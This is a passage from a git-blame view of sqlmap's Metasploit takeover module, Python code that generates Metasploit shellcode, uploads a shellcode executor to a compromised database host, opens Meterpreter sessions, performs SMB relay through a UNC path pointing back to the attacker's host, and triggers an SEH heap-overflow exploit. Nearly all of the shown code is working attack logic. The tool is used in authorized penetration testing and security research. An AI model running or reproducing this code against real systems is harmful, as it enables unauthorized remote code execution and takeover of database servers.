proc.stdin.write("uname -a ; id\n")
|
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
metSess = re.search("Meterpreter session ([\d]+) opened", out)
|
|
|
|
|
2009-05-11 19:37:48 +04:00
|
|
|
if metSess:
|
2012-12-06 17:14:19 +04:00
|
|
|
self._loadMetExtensions(proc, metSess.group(1))
|
2009-04-22 15:48:07 +04:00
|
|
|
|
|
|
|
except EOFError:
|
|
|
|
returncode = proc.wait()
|
|
|
|
|
|
|
|
return returncode
|
|
|
|
|
2009-09-26 03:03:45 +04:00
|
|
|
def createMsfShellcode(self, exitfunc, format, extra, encode):
|
2011-09-12 21:26:22 +04:00
|
|
|
infoMsg = "creating Metasploit Framework multi-stage shellcode "
|
2009-04-22 15:48:07 +04:00
|
|
|
logger.info(infoMsg)
|
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
self._randStr = randomStr(lowercase=True)
|
|
|
|
self._shellcodeFilePath = os.path.join(conf.outputPath, "tmpm%s" % self._randStr)
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
self._initVars()
|
|
|
|
self._prepareIngredients(encode=encode)
|
|
|
|
self._forgeMsfPayloadCmd(exitfunc, format, self._shellcodeFilePath, extra)
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
logger.debug("executing local command: %s" % self._payloadCmd)
|
|
|
|
process = execute(self._payloadCmd, shell=True, stdout=None, stderr=PIPE)
|
2009-04-22 15:48:07 +04:00
|
|
|
|
|
|
|
dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X"))
|
|
|
|
pollProcess(process)
|
|
|
|
payloadStderr = process.communicate()[1]
|
|
|
|
|
2011-04-23 20:25:09 +04:00
|
|
|
if Backend.isOs(OS.WINDOWS) or extra == "BufferRegister=EAX":
|
2009-04-22 15:48:07 +04:00
|
|
|
payloadSize = re.search("size ([\d]+)", payloadStderr, re.I)
|
|
|
|
else:
|
|
|
|
payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I)
|
|
|
|
|
|
|
|
if payloadSize:
|
2009-09-26 03:03:45 +04:00
|
|
|
payloadSize = int(payloadSize.group(1))
|
|
|
|
|
|
|
|
if extra == "BufferRegister=EAX":
|
|
|
|
payloadSize = payloadSize / 2
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2009-09-26 03:03:45 +04:00
|
|
|
debugMsg = "the shellcode size is %d bytes" % payloadSize
|
2009-04-22 15:48:07 +04:00
|
|
|
logger.debug(debugMsg)
|
|
|
|
else:
|
2012-07-27 19:05:21 +04:00
|
|
|
errMsg = "failed to create the shellcode (%s)" % payloadStderr.replace("\n", " ").replace("\r", "")
|
2012-12-06 17:14:19 +04:00
|
|
|
raise SqlmapFilePathException, errMsg
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
self._shellcodeFP = codecs.open(self._shellcodeFilePath, "rb")
|
|
|
|
self.shellcodeString = self._shellcodeFP.read()
|
|
|
|
self._shellcodeFP.close()
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
os.unlink(self._shellcodeFilePath)
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2011-04-25 03:01:21 +04:00
|
|
|
def uploadShellcodeexec(self, web=False):
|
|
|
|
self.shellcodeexecLocal = paths.SQLMAP_SEXEC_PATH
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2011-04-23 20:25:09 +04:00
|
|
|
if Backend.isOs(OS.WINDOWS):
|
2011-07-20 17:50:02 +04:00
|
|
|
self.shellcodeexecLocal += "/windows/shellcodeexec.x%s.exe" % "32"
|
2009-04-22 15:48:07 +04:00
|
|
|
else:
|
2011-04-25 03:01:21 +04:00
|
|
|
self.shellcodeexecLocal += "/linux/shellcodeexec.x%s" % Backend.getArch()
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2012-12-13 16:19:47 +04:00
|
|
|
__basename = "tmpse%s%s" % (self._randStr, ".exe" if Backend.isOs(OS.WINDOWS) else "")
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2010-01-14 17:03:16 +03:00
|
|
|
if web:
|
2011-04-25 03:01:21 +04:00
|
|
|
self.shellcodeexecRemote = "%s/%s" % (self.webDirectory, __basename)
|
2010-01-14 17:03:16 +03:00
|
|
|
else:
|
2011-04-25 03:01:21 +04:00
|
|
|
self.shellcodeexecRemote = "%s/%s" % (conf.tmpPath, __basename)
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2011-04-25 03:01:21 +04:00
|
|
|
self.shellcodeexecRemote = ntToPosixSlashes(normalizePath(self.shellcodeexecRemote))
|
2010-01-28 20:07:34 +03:00
|
|
|
|
2011-04-25 03:01:21 +04:00
|
|
|
logger.info("uploading shellcodeexec to '%s'" % self.shellcodeexecRemote)
|
2010-01-14 17:03:16 +03:00
|
|
|
|
|
|
|
if web:
|
2012-12-13 16:19:47 +04:00
|
|
|
self.webUpload(self.shellcodeexecRemote, self.webDirectory, filepath=self.shellcodeexecLocal)
|
2010-01-14 17:03:16 +03:00
|
|
|
else:
|
2012-07-02 02:25:05 +04:00
|
|
|
self.writeFile(self.shellcodeexecLocal, self.shellcodeexecRemote, "binary")
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2009-09-26 03:03:45 +04:00
|
|
|
def pwn(self, goUdf=False):
|
2010-01-02 05:02:12 +03:00
|
|
|
if goUdf:
|
2009-09-26 03:03:45 +04:00
|
|
|
exitfunc = "thread"
|
2012-12-06 17:14:19 +04:00
|
|
|
func = self._runMsfShellcodeRemote
|
2009-09-26 03:03:45 +04:00
|
|
|
else:
|
|
|
|
exitfunc = "process"
|
2012-12-06 17:14:19 +04:00
|
|
|
func = self._runMsfShellcodeRemoteViaSexec
|
2009-09-26 03:03:45 +04:00
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
self._runMsfCli(exitfunc=exitfunc)
|
2009-04-22 15:48:07 +04:00
|
|
|
|
|
|
|
if self.connectionStr.startswith("bind"):
|
2009-09-26 03:03:45 +04:00
|
|
|
func()
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2011-09-12 21:26:22 +04:00
|
|
|
debugMsg = "Metasploit Framework command line interface exited "
|
2012-12-06 17:14:19 +04:00
|
|
|
debugMsg += "with return code %s" % self._controlMsfCmd(self._msfCliProc, func)
|
2009-04-22 15:48:07 +04:00
|
|
|
logger.debug(debugMsg)
|
|
|
|
|
2010-01-02 05:02:12 +03:00
|
|
|
if not goUdf:
|
2010-10-28 04:19:40 +04:00
|
|
|
time.sleep(1)
|
2011-04-25 03:01:21 +04:00
|
|
|
self.delRemoteFile(self.shellcodeexecRemote)
|
2009-12-18 01:04:01 +03:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
def smb(self):
|
2012-12-06 17:14:19 +04:00
|
|
|
self._initVars()
|
|
|
|
self._randFile = "tmpu%s.txt" % randomStr(lowercase=True)
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2012-12-06 17:14:19 +04:00
|
|
|
self._runMsfCliSmbrelay()
|
2009-04-24 14:27:52 +04:00
|
|
|
|
2011-01-28 19:36:09 +03:00
|
|
|
if Backend.getIdentifiedDbms() in ( DBMS.MYSQL, DBMS.PGSQL ):
|
2012-12-06 17:14:19 +04:00
|
|
|
self.uncPath = "\\\\\\\\%s\\\\%s" % (self.lhostStr, self._randFile)
|
2009-04-22 15:48:07 +04:00
|
|
|
else:
|
2012-12-06 17:14:19 +04:00
|
|
|
self.uncPath = "\\\\%s\\%s" % (self.lhostStr, self._randFile)
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2011-09-12 21:26:22 +04:00
|
|
|
debugMsg = "Metasploit Framework console exited with return "
|
2012-12-06 17:14:19 +04:00
|
|
|
debugMsg += "code %s" % self._controlMsfCmd(self._msfCliProc, self.uncPathRequest)
|
2009-04-22 15:48:07 +04:00
|
|
|
logger.debug(debugMsg)
|
|
|
|
|
|
|
|
def bof(self):
|
2012-12-06 17:14:19 +04:00
|
|
|
self._runMsfCli(exitfunc="seh")
|
2009-04-22 15:48:07 +04:00
|
|
|
|
|
|
|
if self.connectionStr.startswith("bind"):
|
|
|
|
self.spHeapOverflow()
|
|
|
|
|
2011-09-12 21:26:22 +04:00
|
|
|
debugMsg = "Metasploit Framework command line interface exited "
|
2012-12-06 17:14:19 +04:00
|
|
|
debugMsg += "with return code %s" % self._controlMsfCmd(self._msfCliProc, self.spHeapOverflow)
|
2009-04-22 15:48:07 +04:00
|
|
|
logger.debug(debugMsg)
|